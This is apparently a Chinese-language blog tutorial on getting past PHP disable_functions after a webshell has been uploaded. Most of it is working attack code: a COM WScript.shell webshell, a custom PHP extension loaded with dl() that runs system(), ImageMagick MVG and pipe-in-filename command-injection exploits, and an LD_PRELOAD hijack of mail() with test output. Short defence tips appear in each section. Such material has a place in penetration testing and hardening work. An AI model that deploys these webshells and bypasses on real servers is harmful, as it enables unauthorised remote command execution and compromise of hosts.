0x00 前言
上传webshell后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方式,防守方也必须根据绕过方式想想更强的防御.
0x01 php webshell执行命令原理
php webshell(以下简称webshell)下是怎么执行系统命令的?我们找一个webshell分析下
搜索关键字定位到以下代码
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
即按顺利调用system(),passthru(),shell_exec,exec,popen函数 成功调用就不再往下调用
0x02禁止webshell执行命令原理
Php配置文件里面有个disable_functions = 配置,这个禁止某些php函数,
服务器便是用这个来禁止php的执行命令函数,
例如
disable_functions =system,passthru,shell_exec,exec,popen
1
disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用这些函数来执行系统命令
0x03黑名单绕过
知道了原理后,我们便能想出很多绕过的方式首先是黑名单绕过
我们看看php下能够执行系统命令的函数有哪些:
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反单引号</strong>)
1
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(<strong>反单引号</strong>)
那么 便可以看看php.ini中的disable_function漏过了哪些函数。然后 hack it.
解决方案:关注并收集php系统命令执行函数,补齐disable_function项。
0x04 系统组件绕过
这个方法适用于windows
<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>
1
2
3
4
5
6
7
8
<?php
$command=$_POST[a];
$wsh = new COM('WScript.shell'); // 生成一个COM对象
$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput
?>
Shell.Application也可以实现同样的效果
彻底的解决方案是 直接删除System32目录下wshom.ocx文件
0x05拓展库绕过
Linux下可通过编译拓展库进行绕过
网络上的方法及官方的方法 都提示错误,
经过研究 给出一种正确编译PHP拓展库的方法
前方高能。
首先得知PHP服务器php版本,下载个相同或相近版本的php源码包
tar zxvf php-5.3.10.tar.gz //解压缩
cd php-5.3.10/ext
./ext_skel --extname=dl //生成名为dl的拓展库
cd dl
vi config.m4
1
2
3
4
5
tar zxvf php-5.3.10.tar.gz //解压缩
cd php-5.3.10/ext
./ext_skel --extname=dl //生成名为dl的拓展库
cd dl
vi config.m4
将这三行
PHP_ARG_WITH(dl, for dl support,
Make sure that the comment is aligned:
[ --with-dl Include dl support])
1
2
3
4
5
PHP_ARG_WITH(dl, for dl support,
Make sure that the comment is aligned:
[ --with-dl Include dl support])
前面的dnl去掉并保存
whereis phpize //找出phpize路径
/usr/local/bin/phpize // 运行phpize
vi dl.c
1
2
3
4
5
whereis phpize //找出phpize路径
/usr/local/bin/phpize // 运行phpize
vi dl.c
在
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {
return;
}
1
2
3
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &arg, &arg_len) == FAILURE) {
return;
}
这一行下添加
system(arg);
1
system(arg);
whereis php-config //找出php-config的路径
./configure --whith-php-config=php-config路径
make
make install
[root@TENCENT64 ~/php-5.3.10/ext/dl]# make install
Installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/
1
2
3
4
5
6
7
8
9
10
11
whereis php-config //找出php-config的路径
./configure --whith-php-config=php-config路径
make
make install
[root@TENCENT64 ~/php-5.3.10/ext/dl]# make install
Installing shared extensions: /usr/local/lib/php/extensions/no-debug-non-zts-20121212/
成功生成了 查看php.ini的extension_dir 项然后将
/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
1
/usr/local/lib/php/extensions/no-debug-non-zts-20121212/dl.so
拷贝到extension_dir目录下
若extension_dir目录无写权限则可写入任意目录用../../来绕过并调用。
利用代码:
<?php
dl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用
confirm_dl_compiled("$_GET[a]>1.txt");
?>
1
2
3
4
<?php
dl("dl.so"); //dl.so在extension_dir目录,如不在则用../../来实现调用
confirm_dl_compiled("$_GET[a]>1.txt");
?>
查看1.txt即可看到命令执行结果
防御方法:将dl函数加入disable_function中禁用
0x06 ImageMagick组件
1、Delegate命令执行
默认的配置文件在源码的config/delegates.xml.in中,一般使用者很少会去修改这个配置文件。
具体的内容如下:
https://github.com/ImageMagick/ImageMagick/blob/25d021ff1a60a67680dbb640ccc0b6b60f785192/magick/delegate.c(存在漏洞的版本)
对于https形式的文件,他是这样处理的:
command定义了他具体带入system()执行的命令:”wget” -q -O “%o” “https:%M”。
%M是占位符,在配置文件中有对占位符的定义:
%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,所以我们可以将引号闭合后通过管道符带入其他命令,也就形成了命令注入。
比如url为:https://example.com”|ls “-la
那实际命令就变成了:
"wget" -q -O "%o" " https://example.com"|ls "-la"
1
"wget" -q -O "%o" " https://example.com"|ls "-la"
ls –la被执行了。
EXP:
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
echo "Disable Functions: " . ini_get('disable_functions') . "\n";
$command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
if ($command == '') {
$command = 'id';
}
$exploit = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|$command")'
pop graphic-context
EOF;
file_put_contents("KKKK.mvg", $exploit);
$thumb = new Imagick();
$thumb->readImage('KKKK.mvg');
$thumb->writeImage('KKKK.png');
$thumb->clear();
$thumb->destroy();
unlink("KKKK.mvg");
unlink("KKKK.png");
?>
或者
<?php
$c=$_REQUEST['c'];
$e = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|$c")'
pop graphic-context
EOF;
$i = new Imagick();
$i->readImageBlob($e);
?>
1
2
3
4
5
6
7
8
9
10
11
<?php
$c=$_REQUEST['c'];
$e = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|$c")'
pop graphic-context
EOF;
$i = new Imagick();
$i->readImageBlob($e);
?>
2、popen_utf8命令注入
ImageMagick在处理文件名时会调用OpenBlob()函数,在OpenBlob()函数中,代码2484行,判断文件名是否以|竖线开头,如果是,那么他会调用popoen_utf8()函数处理文件名,代码如图:
来到popoen_utf8()函数,popen_utf8()函数调用会调用popen()函数打开文件,这样就导致我们可以注入系统命令,代码如图:
利用前提:上传后文件名不被处理,部分命令需要截包修改写入特殊符号(前台校验)
EXP:
文件名‘|touch /tmp/niubl’
<?php
new Imagick('|touch /tmp/niubl');
?>
1
2
3
<?php
new Imagick('|touch /tmp/niubl');
?>
0x07 LD_PRELOAD劫持
php的mail函数在执行过程中会默认调用系统程序/usr/sbin/sendmail,如果我们能劫持sendmail程序,再用mail函数来触发就能实现我们的目的了。那么我们有没有办法在webshell层来劫持它呢,环境变量LD_PRELOAD给我们提供了一种简单实用的途径。
编写hack.c:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("rm /tmp/check.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时,尝试加载payload()函数,执行命令。这个测试函数写的很简单,实际应用时可相应调整完善。在攻击机上(注意编译平台应和靶机平台相近,至少不能一个是32位一个是64位)把它编译为一个位置信息无关的动态共享库:
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
1
2
$ gcc -c -fPIC hack.c -o hack
$ gcc -shared hack -o hack.so
再上传到webshell上,然后写一段简单的php代码:
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>
1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a@localhost","","","","");
?>
在浏览器中打开就可以执行它,然后再去检查新建的文件是否还存在,找不到文件则表示系统成功执行了删除命令,也就意味着绕过成功,测试中注意修改为实际路径。 本地测试效果如下:
[yiyang@bogon Desktop]$ touch /tmp/check.txt
[yiyang@bogon bin]$ ./php mail.php
sendmail: warning: the Postfix sendmail command has set-uid root file permissions
sendmail: warning: or the command is run from a set-uid root process
sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
sendmail: fatal: setgroups(1, &500): Operation not permitted
[yiyang@bogon bin]$ cat /tmp/check.txt
cat: /tmp/check.txt: No such file or directory
1
2
3
4
5
6
7
8
[yiyang@bogon Desktop]$ touch /tmp/check.txt
[yiyang@bogon bin]$ ./php mail.php
sendmail: warning: the Postfix sendmail command has set-uid root file permissions
sendmail: warning: or the command is run from a set-uid root process
sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
sendmail: fatal: setgroups(1, &500): Operation not permitted
[yiyang@bogon bin]$ cat /tmp/check.txt
cat: /tmp/check.txt: No such file or directory
普通用户权限,目标文件被删除。
防御措施:
以上方法在Linux RHEL6及自带邮件服务+php5.3.X以下平台测试通过,精力有限未继续在其他平台测试,新版本可能进行了相应修复。这种绕过行为其实也很容易防御,禁用相关函数或者限制环境变量的传递,例如安全模式下,这种传递是不会成功的。这个思路不仅仅局限于mail函数,你可以尝试追踪其他函数的调用过程,例如syslog等与系统层有交集的函数是否也有类似调用动态共享库的行为来举一反
评论留言